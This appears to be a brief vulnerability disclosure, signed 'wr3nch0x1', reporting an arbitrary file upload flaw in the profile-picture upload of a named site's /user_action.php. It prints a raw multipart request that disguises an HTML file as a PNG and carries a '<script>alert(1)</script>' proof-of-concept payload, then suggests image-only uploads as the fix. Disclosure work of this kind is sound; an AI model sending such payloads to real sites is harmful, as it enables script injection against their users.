Security Vulnerability: Arbitrary file Upload and Execution

[wr3nch0x1]

It is possible to upload malicious file to run from profile picture upload using http://ems.tserm.com/user_action.php

Vulnerable parameter: "filename"
Vulnerable file: /user_action.php

------WebKitFormBoundarycC5ce2YBWSdAerAB
Content-Disposition: form-data; name="file"; filename="**Untitled.png.html**"
Content-Type: image/png

**<script>alert(1)</script>**
------WebKitFormBoundarycC5ce2YBWSdAerAB--

Remediation: Do not allow user to upload files other than images.